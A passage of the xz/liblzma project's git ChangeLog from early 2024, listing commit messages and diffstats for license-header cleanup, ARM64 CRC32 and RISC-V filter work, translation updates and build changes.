cmake/tuklib_common.cmake | 3 - + cmake/tuklib_cpucores.cmake | 3 - + cmake/tuklib_integer.cmake | 3 - + cmake/tuklib_large_file_support.cmake | 3 - + cmake/tuklib_mbstr.cmake | 3 - + cmake/tuklib_physmem.cmake | 3 - + cmake/tuklib_progname.cmake | 3 - + configure.ac | 3 - + debug/Makefile.am | 3 - + debug/crc32.c | 3 - + debug/full_flush.c | 3 - + debug/hex2bin.c | 3 - + debug/known_sizes.c | 3 - + debug/memusage.c | 3 - + debug/repeat.c | 3 - + debug/sync_flush.c | 3 - + debug/translation.bash | 3 - + doc/examples/01_compress_easy.c | 3 - + doc/examples/02_decompress.c | 3 - + doc/examples/03_compress_custom.c | 3 - + doc/examples/04_compress_easy_mt.c | 3 - + doc/examples/11_file_info.c | 3 - + doc/examples/Makefile | 3 - + dos/Makefile | 3 - + doxygen/update-doxygen | 3 - + extra/7z2lzma/7z2lzma.bash | 3 - + m4/tuklib_common.m4 | 3 - + m4/tuklib_cpucores.m4 | 3 - + m4/tuklib_integer.m4 | 3 - + m4/tuklib_mbstr.m4 | 3 - + m4/tuklib_physmem.m4 | 3 - + m4/tuklib_progname.m4 | 3 - + po4a/update-po | 3 - + src/Makefile.am | 3 - + src/common/common_w32res.rc | 3 - + src/common/mythread.h | 3 - + src/common/sysdefs.h | 3 - + src/common/tuklib_common.h | 3 - + src/common/tuklib_cpucores.c | 3 - + src/common/tuklib_cpucores.h | 3 - + src/common/tuklib_exit.c | 3 - + src/common/tuklib_exit.h | 3 - + src/common/tuklib_gettext.h | 3 - + src/common/tuklib_integer.h | 3 - + src/common/tuklib_mbstr.h | 3 - + src/common/tuklib_mbstr_fw.c | 3 - + src/common/tuklib_mbstr_width.c | 3 - + src/common/tuklib_open_stdxxx.c | 3 - + src/common/tuklib_open_stdxxx.h | 3 - + src/common/tuklib_physmem.c | 3 - + src/common/tuklib_physmem.h | 3 - + src/common/tuklib_progname.c | 3 - + src/common/tuklib_progname.h | 3 - + src/liblzma/Makefile.am | 3 - + src/liblzma/api/Makefile.am | 3 - + src/liblzma/api/lzma.h | 13 ++- + src/liblzma/api/lzma/base.h | 3 - + src/liblzma/api/lzma/bcj.h | 3 - + src/liblzma/api/lzma/block.h | 3 - + src/liblzma/api/lzma/check.h | 3 - + src/liblzma/api/lzma/container.h | 3 - + src/liblzma/api/lzma/delta.h | 3 - + src/liblzma/api/lzma/filter.h | 3 - + src/liblzma/api/lzma/hardware.h | 3 - + src/liblzma/api/lzma/index.h | 3 - + src/liblzma/api/lzma/index_hash.h | 3 - + src/liblzma/api/lzma/lzma12.h | 3 - + src/liblzma/api/lzma/stream_flags.h | 3 - + src/liblzma/api/lzma/version.h | 3 - + src/liblzma/api/lzma/vli.h | 3 - + src/liblzma/check/Makefile.inc | 3 - + src/liblzma/check/check.c | 3 - + src/liblzma/check/check.h | 3 - + src/liblzma/check/crc32_arm64.h | 3 - + src/liblzma/check/crc32_fast.c | 3 - + src/liblzma/check/crc32_small.c | 3 - + src/liblzma/check/crc32_table.c | 3 - + src/liblzma/check/crc32_tablegen.c | 3 - + src/liblzma/check/crc32_x86.S | 3 - + src/liblzma/check/crc64_fast.c | 3 - + src/liblzma/check/crc64_small.c | 3 - + src/liblzma/check/crc64_table.c | 3 - + src/liblzma/check/crc64_tablegen.c | 3 - + src/liblzma/check/crc64_x86.S | 3 - + src/liblzma/check/crc_common.h | 3 - + src/liblzma/check/crc_x86_clmul.h | 3 - + src/liblzma/check/sha256.c | 3 - + src/liblzma/common/Makefile.inc | 3 - + src/liblzma/common/alone_decoder.c | 3 - + src/liblzma/common/alone_decoder.h | 3 - + src/liblzma/common/alone_encoder.c | 3 - + src/liblzma/common/auto_decoder.c | 3 - + src/liblzma/common/block_buffer_decoder.c | 3 - + src/liblzma/common/block_buffer_encoder.c | 3 - + src/liblzma/common/block_buffer_encoder.h | 3 - + src/liblzma/common/block_decoder.c | 3 - + src/liblzma/common/block_decoder.h | 3 - + src/liblzma/common/block_encoder.c | 3 - + src/liblzma/common/block_encoder.h | 3 - + src/liblzma/common/block_header_decoder.c | 3 - + src/liblzma/common/block_header_encoder.c | 3 - + src/liblzma/common/block_util.c | 3 - + src/liblzma/common/common.c | 3 - + src/liblzma/common/common.h | 3 - + src/liblzma/common/easy_buffer_encoder.c | 3 - + src/liblzma/common/easy_decoder_memusage.c | 3 - + src/liblzma/common/easy_encoder.c | 3 - + src/liblzma/common/easy_encoder_memusage.c | 3 - + src/liblzma/common/easy_preset.c | 3 - + src/liblzma/common/easy_preset.h | 3 - + src/liblzma/common/file_info.c | 3 - + src/liblzma/common/filter_buffer_decoder.c | 3 - + src/liblzma/common/filter_buffer_encoder.c | 3 - + src/liblzma/common/filter_common.c | 3 - + src/liblzma/common/filter_common.h | 3 - + src/liblzma/common/filter_decoder.c | 3 - + src/liblzma/common/filter_decoder.h | 3 - + src/liblzma/common/filter_encoder.c | 3 - + src/liblzma/common/filter_encoder.h | 3 - + src/liblzma/common/filter_flags_decoder.c | 3 - + src/liblzma/common/filter_flags_encoder.c | 3 - + src/liblzma/common/hardware_cputhreads.c | 3 - + src/liblzma/common/hardware_physmem.c | 3 - + src/liblzma/common/index.c | 3 - + src/liblzma/common/index.h | 3 - + src/liblzma/common/index_decoder.c | 3 - + src/liblzma/common/index_decoder.h | 3 - + src/liblzma/common/index_encoder.c | 3 - + src/liblzma/common/index_encoder.h | 3 - + src/liblzma/common/index_hash.c | 3 - + src/liblzma/common/lzip_decoder.c | 3 - + src/liblzma/common/lzip_decoder.h | 3 - + src/liblzma/common/memcmplen.h | 3 - + src/liblzma/common/microlzma_decoder.c | 3 - + src/liblzma/common/microlzma_encoder.c | 3 - + src/liblzma/common/outqueue.c | 3 - + src/liblzma/common/outqueue.h | 3 - + src/liblzma/common/stream_buffer_decoder.c | 3 - + src/liblzma/common/stream_buffer_encoder.c | 3 - + src/liblzma/common/stream_decoder.c | 3 - + src/liblzma/common/stream_decoder.h | 3 - + src/liblzma/common/stream_decoder_mt.c | 3 - + src/liblzma/common/stream_encoder.c | 3 - + src/liblzma/common/stream_encoder_mt.c | 3 - + src/liblzma/common/stream_flags_common.c | 3 - + src/liblzma/common/stream_flags_common.h | 3 - + src/liblzma/common/stream_flags_decoder.c | 3 - + src/liblzma/common/stream_flags_encoder.c | 3 - + src/liblzma/common/string_conversion.c | 3 - + src/liblzma/common/vli_decoder.c | 3 - + src/liblzma/common/vli_encoder.c | 3 - + src/liblzma/common/vli_size.c | 3 - + src/liblzma/delta/Makefile.inc | 3 - + src/liblzma/delta/delta_common.c | 3 - + src/liblzma/delta/delta_common.h | 3 - + src/liblzma/delta/delta_decoder.c | 3 - + src/liblzma/delta/delta_decoder.h | 3 - + src/liblzma/delta/delta_encoder.c | 3 - + src/liblzma/delta/delta_encoder.h | 3 - + src/liblzma/delta/delta_private.h | 3 - + src/liblzma/liblzma.pc.in | 3 - + src/liblzma/liblzma_w32res.rc | 3 - + src/liblzma/lz/Makefile.inc | 3 - + src/liblzma/lz/lz_decoder.c | 3 - + src/liblzma/lz/lz_decoder.h | 3 - + src/liblzma/lz/lz_encoder.c | 3 - + src/liblzma/lz/lz_encoder.h | 3 - + src/liblzma/lz/lz_encoder_hash.h | 3 - + src/liblzma/lz/lz_encoder_mf.c | 3 - + src/liblzma/lzma/Makefile.inc | 3 - + src/liblzma/lzma/fastpos.h | 3 - + src/liblzma/lzma/fastpos_tablegen.c | 3 - + src/liblzma/lzma/lzma2_decoder.c | 3 - + src/liblzma/lzma/lzma2_decoder.h | 3 - + src/liblzma/lzma/lzma2_encoder.c | 3 - + src/liblzma/lzma/lzma2_encoder.h | 3 - + src/liblzma/lzma/lzma_common.h | 3 - + src/liblzma/lzma/lzma_decoder.c | 3 - + src/liblzma/lzma/lzma_decoder.h | 3 - + src/liblzma/lzma/lzma_encoder.c | 3 - + src/liblzma/lzma/lzma_encoder.h | 3 - + src/liblzma/lzma/lzma_encoder_optimum_fast.c | 3 - + src/liblzma/lzma/lzma_encoder_optimum_normal.c | 3 - + src/liblzma/lzma/lzma_encoder_presets.c | 3 - + src/liblzma/lzma/lzma_encoder_private.h | 3 - + src/liblzma/rangecoder/Makefile.inc | 3 - + src/liblzma/rangecoder/price.h | 3 - + src/liblzma/rangecoder/price_tablegen.c | 3 - + src/liblzma/rangecoder/range_common.h | 3 - + src/liblzma/rangecoder/range_decoder.h | 3 - + src/liblzma/rangecoder/range_encoder.h | 3 - + src/liblzma/simple/Makefile.inc | 3 - + src/liblzma/simple/arm.c | 3 - + src/liblzma/simple/arm64.c | 3 - + src/liblzma/simple/armthumb.c | 3 - + src/liblzma/simple/ia64.c | 3 - + src/liblzma/simple/powerpc.c | 3 - + src/liblzma/simple/riscv.c | 3 - + src/liblzma/simple/simple_coder.c | 3 - + src/liblzma/simple/simple_coder.h | 3 - + src/liblzma/simple/simple_decoder.c | 3 - + src/liblzma/simple/simple_decoder.h | 3 - + src/liblzma/simple/simple_encoder.c | 3 - + src/liblzma/simple/simple_encoder.h | 3 - + src/liblzma/simple/simple_private.h | 3 - + src/liblzma/simple/sparc.c | 3 - + src/liblzma/simple/x86.c | 3 - + src/liblzma/validate_map.sh | 3 - + src/lzmainfo/Makefile.am | 3 - + src/lzmainfo/lzmainfo.1 | 4 +- + src/lzmainfo/lzmainfo.c | 3 - + src/lzmainfo/lzmainfo_w32res.rc | 3 - + src/scripts/Makefile.am | 3 - + src/scripts/xzless.1 | 4 +- + src/xz/Makefile.am | 3 - + src/xz/args.c | 3 - + src/xz/args.h | 3 - + src/xz/coder.c | 3 - + src/xz/coder.h | 3 - + src/xz/file_io.c | 3 - + src/xz/file_io.h | 3 - + src/xz/hardware.c | 3 - + src/xz/hardware.h | 3 - + src/xz/list.c | 3 - + src/xz/list.h | 3 - + src/xz/main.c | 3 - + src/xz/main.h | 3 - + src/xz/message.c | 3 - + src/xz/message.h | 3 - + src/xz/mytime.c | 3 - + src/xz/mytime.h | 3 - + src/xz/options.c | 3 - + src/xz/options.h | 3 - + src/xz/private.h | 3 - + src/xz/signals.c | 3 - + src/xz/signals.h | 3 - + src/xz/suffix.c | 3 - + src/xz/suffix.h | 3 - + src/xz/util.c | 3 - + src/xz/util.h | 3 - + src/xz/xz.1 | 4 +- + src/xz/xz_w32res.rc | 3 - + src/xzdec/Makefile.am | 3 - + src/xzdec/lzmadec_w32res.rc | 3 - + src/xzdec/xzdec.1 | 4 +- + src/xzdec/xzdec.c | 3 - + src/xzdec/xzdec_w32res.rc | 3 - + tests/Makefile.am | 3 - + tests/bcj_test.c | 3 - + tests/code_coverage.sh | 3 - + tests/create_compress_files.c | 3 - + tests/files/README | 3 +- + tests/ossfuzz/fuzz_common.h | 3 - + tests/ossfuzz/fuzz_decode_alone.c | 3 - + tests/ossfuzz/fuzz_decode_stream.c | 3 - + tests/ossfuzz/fuzz_encode_stream.c | 3 - + tests/test_bcj_exact_size.c | 3 - + tests/test_block_header.c | 3 - + tests/test_check.c | 3 - + tests/test_compress.sh | 3 - + tests/test_files.sh | 3 - + tests/test_filter_flags.c | 3 - + tests/test_filter_str.c | 3 - + tests/test_hardware.c | 3 - + tests/test_index.c | 3 - + tests/test_index_hash.c | 3 - + tests/test_lzip_decoder.c | 3 - + tests/test_memlimit.c | 3 - + tests/test_scripts.sh | 3 - + tests/test_stream_flags.c | 3 - + tests/test_suffix.sh | 3 - + tests/test_vli.c | 3 - + tests/tests.h | 3 - + tests/tuktest.h | 3 - + windows/README-Windows.txt | 11 +-- + windows/build.bash | 3 - + 288 files changed, 100 insertions(+), 911 deletions(-) + +commit 76946dc4336c831fe2cc26696a035d807dd3cf13 +Author: Lasse Collin +Date: 2024-02-09 17:20:31 +0200 + + Fix SHA-256 authors. + + The initial commit 5d018dc03549c1ee4958364712fb0c94e1bf2741 + in 2007 had a comment in sha256.c that the code is based on + Crypto++ Library 5.5.1. In 2009 the Authors list in sha256.c + and the AUTHORS file was updated with information that the + code had come from Crypto++ but via 7-Zip. I know I had viewed + 7-Zip's SHA-256 code but back then the C code has been identical + enough with Crypto++, so I don't why I thought the author info + would need that extra step via 7-Zip for this single file. + + Another error is that I had mixed sha.* and shacal2.* files + when checking for author info in Crypto++. The shacal2.* files + aren't related to liblzma's sha256.c and thus Kevin Springle's + code in Crypto++ isn't either. + + AUTHORS | 6 ++---- + src/liblzma/check/sha256.c | 14 ++++---------- + 2 files changed, 6 insertions(+), 14 deletions(-) + +commit 21d9cbae9eecca28ce373d3d9464defd2cf5d851 +Author: Lasse Collin +Date: 2024-02-09 17:20:31 +0200 + + Remove macosx/build.sh. + + It was last updated in 2013. + + Makefile.am | 1 - + macosx/build.sh | 113 -------------------------------------------------------- + 2 files changed, 114 deletions(-) + +commit eac2c3c67f9113a225fb6667df862edd30366931 +Author: Lasse Collin +Date: 2024-02-09 17:20:31 +0200 + + Doc: Remove doc/examples_old. + + It was good to keep these around in parallel with the newer examples + but I think it's OK to remove the old ones at this point. + + Makefile.am | 5 -- + doc/examples_old/xz_pipe_comp.c | 127 -------------------------------------- + doc/examples_old/xz_pipe_decomp.c | 123 ------------------------------------ + 3 files changed, 255 deletions(-) + +commit 89ea1a22f4ed3685b053b7260bc5acf6c75d1664 +Author: Jia Tan +Date: 2024-02-13 22:38:58 +0800 + + Tests: Add RISC-V filter support in a few places. + + tests/test_filter_flags.c | 6 ++++++ + tests/test_filter_str.c | 6 ++++++ + 2 files changed, 12 insertions(+) + +commit 45663443eb2b377e6171529380fee312f1adcdf4 +Author: Jia Tan +Date: 2024-02-13 22:37:07 +0800 + + liblzma: Fix build error if only RISC-V BCJ filter is enabled. + + If any other BCJ filter was enabled for encoding or decoding, then this + was not a problem. + + src/liblzma/common/string_conversion.c | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +commit 2f15597d677bc35743c777d4cf3bfa698b478681 +Author: Jia Tan +Date: 2024-02-13 22:56:24 +0800 + + Translations: Update the Korean translation. + + po/ko.po | 526 ++++++++++++++++++++++++++++++++++----------------------------- + 1 file changed, 284 insertions(+), 242 deletions(-) + +commit df873143ad1615c6d6aaa1bf8808b1676091dfe3 +Author: Jia Tan +Date: 2024-02-13 01:55:53 +0800 + + Translations: Update the Korean man page translations. + + po4a/ko.po | 1375 ++++++++++++++++++++++++++++++++++-------------------------- + 1 file changed, 770 insertions(+), 605 deletions(-) + +commit b3f415eddb150341865a1af47959c3baba076b33 +Author: Jia Tan +Date: 2024-02-13 01:53:33 +0800 + + Translations: Update the Chinese (simplified) translation. + + po/zh_CN.po | 424 ++++++++++++++++++++++++++++++++++++++---------------------- + 1 file changed, 268 insertions(+), 156 deletions(-) + +commit 9860d418d296eb3c721e5384fb367c0499b579c8 +Author: Lasse Collin +Date: 2024-02-09 23:21:01 +0200 + + xzless: Use ||- in LESSOPEN with with "less" 451 and newer. + + src/scripts/xzless.in | 9 ++++++++- + 1 file changed, 8 insertions(+), 1 deletion(-) + +commit fd0692b0525e6c26b496492be9e2c865cab734f8 +Author: Lasse Collin +Date: 2024-02-09 23:00:05 +0200 + + xzless: Use --show-preproc-errors with "less" 632 and newer. + + This makes "less" show a warning if a decompression error occurred. + + src/scripts/xzless.in | 11 +++++++++-- + 1 file changed, 9 insertions(+), 2 deletions(-) + +commit adb073da76a920b5a81e6b32254f4ddb054dc57a +Author: Jia Tan +Date: 2024-02-09 23:59:54 +0800 + + liblzma: Fix typo discovered by codespell. + + src/liblzma/check/crc32_arm64.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 55d9fc883d221cbace951a370f1fb144698f8c2e +Author: Jia Tan +Date: 2024-02-09 20:01:06 +0800 + + Translations: Update the Swedish translation. + + po/sv.po | 420 ++++++++++++++++++++++++++++++++++++++------------------------- + 1 file changed, 254 insertions(+), 166 deletions(-) + +commit 55ba4a1ea321499c805eedfa811ffde690bae311 +Author: Jia Tan +Date: 2024-02-08 20:09:04 +0800 + + Translations: Update the Spanish translation. + + po/es.po | 22 +++++++++++----------- + 1 file changed, 11 insertions(+), 11 deletions(-) + +commit 7f2293cd804a89d3c3b2d3ed573560ca9e1520ae +Author: Jia Tan +Date: 2024-02-07 21:34:35 +0800 + + Translations: Update the Spanish translation. + + po/es.po | 419 ++++++++++++++++++++++++++++++++++++++------------------------- + 1 file changed, 253 insertions(+), 166 deletions(-) + +commit f4af2036bc625739d6d33d9e1fede583a25c3828 +Author: Jia Tan +Date: 2024-02-07 21:28:32 +0800 + + Translations: Update the Polish translation. + + po/pl.po | 411 ++++++++++++++++++++++++++++++++++++++------------------------- + 1 file changed, 249 insertions(+), 162 deletions(-) + +commit e5e93bb816043c559cddf03a3b7ba13bec353ee4 +Author: Jia Tan +Date: 2024-02-07 19:40:12 +0800 + + Translations: Update the German translation. + + po/de.po | 396 ++++++++++++++++++++++++++++++++++++++------------------------- + 1 file changed, 242 insertions(+), 154 deletions(-) + +commit 28f18ff8e26902762fb007c13be235b4ac1ac071 +Author: Jia Tan +Date: 2024-02-07 19:27:25 +0800 + + Translations: Update the German man page translations. + + po4a/de.po | 1353 +++++++++++++++++++++++++++++++++--------------------------- + 1 file changed, 752 insertions(+), 601 deletions(-) + +commit cabfbc7947da05aa5dfe39bec9759e076f940e3c +Author: Jia Tan +Date: 2024-02-06 23:44:06 +0800 + + Translations: Update the Romanian translation. + + po/ro.po | 416 ++++++++++++++++++++++++++++++++++++++------------------------- + 1 file changed, 252 insertions(+), 164 deletions(-) + +commit bf20c94f5d748cea2147779f4fa7e2fd2eb8555e +Author: Jia Tan +Date: 2024-02-06 23:45:02 +0800 + + Translations: Update the Romanian man page translations. + + po4a/ro.po | 1759 +++++++++++++++++++++++++++++++++--------------------------- + 1 file changed, 966 insertions(+), 793 deletions(-) + +commit 7c25ec9feb0241e4affb7432681cc4f5696f3a96 +Author: Jia Tan +Date: 2024-02-07 20:56:57 +0800 + + Translations: Update the Ukrainian translation. + + po/uk.po | 397 ++++++++++++++++++++++++++++++++++++++------------------------- + 1 file changed, 242 insertions(+), 155 deletions(-) + +commit b3523250e9eef10b017473754c1e1c9e31f10374 +Author: Jia Tan +Date: 2024-02-06 23:30:03 +0800 + + Translations: Update the Ukrainian man page translations. + + po4a/uk.po | 1363 ++++++++++++++++++++++++++++++++++-------------------------- + 1 file changed, 764 insertions(+), 599 deletions(-) + +commit a5c177f514f4c90e0d2f6045636fca6c2e80a20d +Author: Jia Tan +Date: 2024-02-02 01:39:28 +0800 + + Update AUTHORS. + + AUTHORS | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +commit 7f68a68c19d0ae57bd0e802be0ea8f974e41299f +Author: Jia Tan +Date: 2024-02-02 01:38:51 +0800 + + liblzma: Update Authors list in crc32_arm64.h. + + src/liblzma/check/crc32_arm64.h | 1 + + 1 file changed, 1 insertion(+) + +commit 97f9ba50b84e67b3dcb5b17dd5d3e1d14f9ad1d0 +Author: Jia Tan +Date: 2024-02-01 16:07:03 +0800 + + liblzma: Check HAVE_USABLE_CLMUL before omitting CRC32 table. + + This was split from the prior commit so it could be easily applied to + the 5.4 branch. + + Closes: https://github.com/tukaani-project/xz/pull/77 + + src/liblzma/check/crc32_table.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit ca9015f4dead2c97b48f5a6933631b0a448b65b9 +Author: Jia Tan +Date: 2024-02-01 16:06:29 +0800 + + liblzma: Check HAVE_USABLE_CLMUL before omitting CRC64 table. + + If liblzma is configured with --disable-clmul-crc + CFLAGS="-msse4.1 -mpclmul", then it will fail to compile because the + generic version must be used but the CRC tables were not included. + + src/liblzma/check/crc64_table.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit 2f1552a91c825e87013925e1a67a0930e7aef592 +Author: Jia Tan +Date: 2024-01-23 18:02:13 +0800 + + liblzma: Only use ifunc in crcXX_fast.c if its needed. + + The code was using HAVE_FUNC_ATTRIBUTE_IFUNC instead of CRC_USE_IFUNC. + With ARM64, ifunc is incompatible because it requires non-inline + function calls for runtime detection. + + src/liblzma/check/crc32_fast.c | 6 +++--- + src/liblzma/check/crc64_fast.c | 6 +++--- + 2 files changed, 6 insertions(+), 6 deletions(-) + +commit 30a25f3742287697bc57a1bef86c19ecf5129322 +Author: Jia Tan +Date: 2024-01-22 22:08:45 +0800 + + Docs: Add --disable-arm64-crc32 description to INSTALL. + + INSTALL | 12 +++++++++++- + 1 file changed, 11 insertions(+), 1 deletion(-) + +commit 1940f0ec28f08c0ac72c1413d9706fb82eabe6ad +Author: Jia Tan +Date: 2024-01-22 21:36:09 +0800 + + liblzma: Omit CRC tables when not needed with ARM64 optimizations. + + This is similar to the existing x86-64 CLMUL conditions to omit the + tables. They were slightly refactored to improve readability. + + src/liblzma/check/crc32_table.c | 18 +++++++++++++++--- + src/liblzma/check/crc64_table.c | 7 ++++++- + src/liblzma/check/crc_common.h | 5 ++++- + 3 files changed, 25 insertions(+), 5 deletions(-) + +commit 761f5b69a4c778c8bcb09279b845b07c28790575 +Author: Jia Tan +Date: 2024-01-22 20:54:56 +0800 + + liblzma: Rename crc32_aarch64.h to crc32_arm64.h. + + Even though the proper name for the architecture is aarch64, this + project uses ARM64 throughout. So the rename is for consistency. + + Additionally, crc32_arm64.h was slightly refactored for the following + changes: + + * Added MSVC, FreeBSD, and macOS support in + is_arch_extension_supported(). + + * crc32_arch_optimized() now checks the size when aligning the + buffer. + + * crc32_arch_optimized() loop conditions were slightly modified to + avoid both decrementing the size and incrementing the buffer + pointer. + + * Use the intrinsic wrappers defined in because GCC and + Clang name them differently. + + * Minor spacing and comment changes. + + CMakeLists.txt | 2 +- + src/liblzma/check/Makefile.inc | 2 +- + src/liblzma/check/crc32_aarch64.h | 109 ---------------------------------- + src/liblzma/check/crc32_arm64.h | 119 ++++++++++++++++++++++++++++++++++++++ + src/liblzma/check/crc32_fast.c | 3 +- + src/liblzma/check/crc64_fast.c | 3 - + 6 files changed, 122 insertions(+), 116 deletions(-) + +commit 455a08609caa3223066a717fb01bfa42c5dba47d +Author: Jia Tan +Date: 2024-01-22 20:49:30 +0800 + + liblzma: Refactor crc_common.h. + + The CRC_GENERIC is now split into CRC32_GENERIC and CRC64_GENERIC, since + the ARM64 optimizations will be different between CRC32 and CRC64. + + For the same reason, CRC_ARCH_OPTIMIZED is split into + CRC32_ARCH_OPTIMIZED and CRC64_ARCH_OPTIMIZED. + + ifunc will only be used with x86-64 CLMUL because the runtime detection + methods needed with ARM64 are not compatible with ifunc. + + src/liblzma/check/crc32_fast.c | 8 +-- + src/liblzma/check/crc64_fast.c | 8 +-- + src/liblzma/check/crc_common.h | 108 ++++++++++++++++++++++++++++------------- + 3 files changed, 82 insertions(+), 42 deletions(-) + +commit 61908e816049af7a9f43ea804a57ee8570e2e644 +Author: Jia Tan +Date: 2024-01-22 00:42:28 +0800 + + CMake: Add support for ARM64 CRC32 instruction detection. + + CMakeLists.txt | 50 ++++++++++++++++++++++++++++++++++++++++++++++++++ + 1 file changed, 50 insertions(+) + +commit c5f6d79cc9515a7f22d7ea4860c6cc394b295732 +Author: Jia Tan +Date: 2024-01-22 00:36:47 +0800 + + Build: Add support for ARM64 CRC32 instruction detection. + + This adds --enable-arm64-crc32/--disable-arm64-crc32 (enabled by + default) for using the ARM64 CRC32 instruction. This can be disabled if + one knows the binary will never need to run on an ARM64 machine + with this instruction extension. + + configure.ac | 52 ++++++++++++++++++++++++++++++++++++++++++++++++++++ + 1 file changed, 52 insertions(+) + +commit 849d0f282a6a890c5cf5a0e0f02980b12d9ebb0f +Author: Chenxi Mao +Date: 2024-01-09 17:23:11 +0800 + + Speed up CRC32 calculation on ARM64 + + The CRC32 instructions in ARM64 can calculate the CRC32 result + for 8 bytes in a single operation, making the use of ARM64 + instructions much faster compared to the general CRC32 algorithm. + + Optimized CRC32 will be enabled if ARM64 has CRC extension + running on Linux. + + Signed-off-by: Chenxi Mao + + CMakeLists.txt | 1 + + src/liblzma/check/Makefile.inc | 3 +- + src/liblzma/check/crc32_aarch64.h | 109 ++++++++++++++++++++++++++++++++++++++ + src/liblzma/check/crc32_fast.c | 5 +- + src/liblzma/check/crc64_fast.c | 5 +- + src/liblzma/check/crc_common.h | 16 +++--- + 6 files changed, 130 insertions(+), 9 deletions(-) + +commit b43c3e48bf6097095eef36d44cdbec811074940a +Author: Jia Tan +Date: 2024-01-26 19:05:51 +0800 + + Bump version number for 5.5.1alpha. + + src/liblzma/api/lzma/version.h | 2 +- + src/liblzma/liblzma_generic.map | 2 +- + src/liblzma/liblzma_linux.map | 2 +- + 3 files changed, 3 insertions(+), 3 deletions(-) + +commit c7a7ae1500ea90bd3c2d54533e4f433933eb598f +Author: Jia Tan +Date: 2024-01-26 19:00:52 +0800 + + Add NEWS for 5.5.1alpha + + NEWS | 80 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + 1 file changed, 80 insertions(+) + +commit 0ef8192e8d5af4e6200d5d4aee22d1f177f7a2df +Author: Jia Tan +Date: 2024-01-26 18:54:24 +0800 + + Add NEWS for 5.4.6. + + NEWS | 22 ++++++++++++++++++++++ + 1 file changed, 22 insertions(+) + +commit 93de7e751d17731315a899264f2a7239d7d2d316 +Author: Lasse Collin +Date: 2024-01-24 20:00:57 +0200 + + Move doc/logo/xz-logo.png to "doc" and Doxygen footer to "doxygen". + + The footer isn't a complete HTML file so having it in the doxygen + directory is a tiny bit clearer. + + Makefile.am | 2 +- + doc/{logo => }/xz-logo.png | Bin + doxygen/Doxyfile | 4 ++-- + doc/logo/copyright.html => doxygen/footer.html | 0 + 4 files changed, 3 insertions(+), 3 deletions(-) + +commit 00fa01698df51c58ae2acf8c7fa4e1fb159f75a9 +Author: Jia Tan +Date: 2024-01-09 17:05:01 +0800 + + README: Add COPYING.CC-BY-SA-4.0 entry to section 1.1. + + The Overall documentation section (1.1) table spacing had to be adjusted + since the filename was very long. + + README | 38 ++++++++++++++++++++------------------ + 1 file changed, 20 insertions(+), 18 deletions(-) + +commit e280470040b27c5e58d78b25b9e2bb71fc6c3882 +Author: Jia Tan +Date: 2024-01-09 16:56:16 +0800 + + Build: Add the logo and license to the release. + + Makefile.am | 2 ++ + 1 file changed, 2 insertions(+) + +commit b1ee6cf259bb49ce91abe9f622294524e37edf4c +Author: Jia Tan +Date: 2024-01-09 16:44:42 +0800 + + COPYING: Add the license for the XZ logo. + + COPYING | 5 + + COPYING.CC-BY-SA-4.0 | 427 +++++++++++++++++++++++++++++++++++++++++++++++++++ + 2 files changed, 432 insertions(+) + +commit 31293ae7074802cc7286089a89c7b552d930c97f +Author: Jia Tan +Date: 2024-01-09 16:40:56 +0800 + + Doxygen: Added the XZ logo and copyright information. + + The PROJECT_LOGO field is now used to include the XZ logo. The footer + of each page now lists the copyright information instead of the default + footer. The license is also copied to statisfy the copyright and so the + link in the documentation can be local. + + doc/logo/copyright.html | 11 +++++++++++ + doc/logo/xz-logo.png | Bin 0 -> 6771 bytes + doxygen/Doxyfile | 6 +++--- + 3 files changed, 14 insertions(+), 3 deletions(-) + +commit 6daa4d0ea46a8441f21f609149f3633158bf4704 +Author: Lasse Collin +Date: 2024-01-23 18:29:28 +0200 + + xz: Use threaded mode by defaut (as if --threads=0 was used). + + This hopefully does more good than bad: + + + It's faster by default. + + + Only the threaded compressor creates files that + can be decompressed in threaded mode. + + - Compression ratio is worse, usually not too much though. + When it matters, -T1 must be used. + + - Memory usage increases. + + - Scripts that assume single-threaded mode but don't use -T1 will + possibly use too much resources, for example, if they run + multiple xz processes in parallel to compress multiple files. + + - Output from single-threaded and multi-threaded compressors + differ but such changes could happen for other reasons too + (they just haven't happened since 5.0.0). + + src/xz/hardware.c | 6 +++++- + src/xz/message.c | 4 ++-- + src/xz/xz.1 | 9 +++++++++ + 3 files changed, 16 insertions(+), 3 deletions(-) + +commit a2dd2dc8e5307a7280bb99868bc478560facba2c +Author: Jia Tan +Date: 2024-01-23 23:52:49 +0800 + + CI: Use RISC-V filter when building with BCJ support. + + build-aux/ci_build.sh | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit 3060e1070b2421b26c0e17794c1307ec5622f11d +Author: Jia Tan +Date: 2024-01-23 23:52:14 +0800 + + Tests: Use smaller dictionary size in RISC-V test files. + + tests/files/good-1-riscv-lzma2-1.xz | Bin 7512 -> 7512 bytes + tests/files/good-1-riscv-lzma2-2.xz | Bin 7516 -> 7512 bytes + 2 files changed, 0 insertions(+), 0 deletions(-) + +commit 44ff2fa5c94dc345c4dd69195a19fc5238df60b3 +Author: Jia Tan +Date: 2024-01-23 23:50:57 +0800 + + Tests: Skip RISC-V test files if decoder was not built. + + tests/test_files.sh | 5 +++++ + 1 file changed, 5 insertions(+) + +commit 6133a3f30049d3beaf7d22535b1e5d38e109be4e +Author: Lasse Collin +Date: 2024-01-23 16:11:54 +0200 + + xz: Man page: Add more examples of LZMA2 options with BCJ filters. + + src/xz/xz.1 | 38 +++++++++++++++++++++++++++++++------- + 1 file changed, 31 insertions(+), 7 deletions(-) + +commit 50255feeaabcc7e7db22b858a6bd64a9b5b4f16d +Author: Lasse Collin +Date: 2024-01-23 00:09:48 +0200 + + liblzma: RISC-V filter: Use byte-by-byte access. + + Not all RISC-V processors support fast unaligned access so + it's better to read only one byte in the main loop. This can + be faster even on x86-64 when compared to reading 32 bits at + a time as half the time the address is only 16-bit aligned. + + The downside is larger code size on archs that do support + fast unaligned access. + + src/liblzma/simple/riscv.c | 114 +++++++++++++++++++++++++++++++++------------ + 1 file changed, 84 insertions(+), 30 deletions(-) + +commit db5eb5f563e8baa8d912ecf576f53391ff861596 +Author: Jia Tan +Date: 2024-01-22 23:33:39 +0800 + + xz: Update xz -lvv for RISC-V filter. + + Version 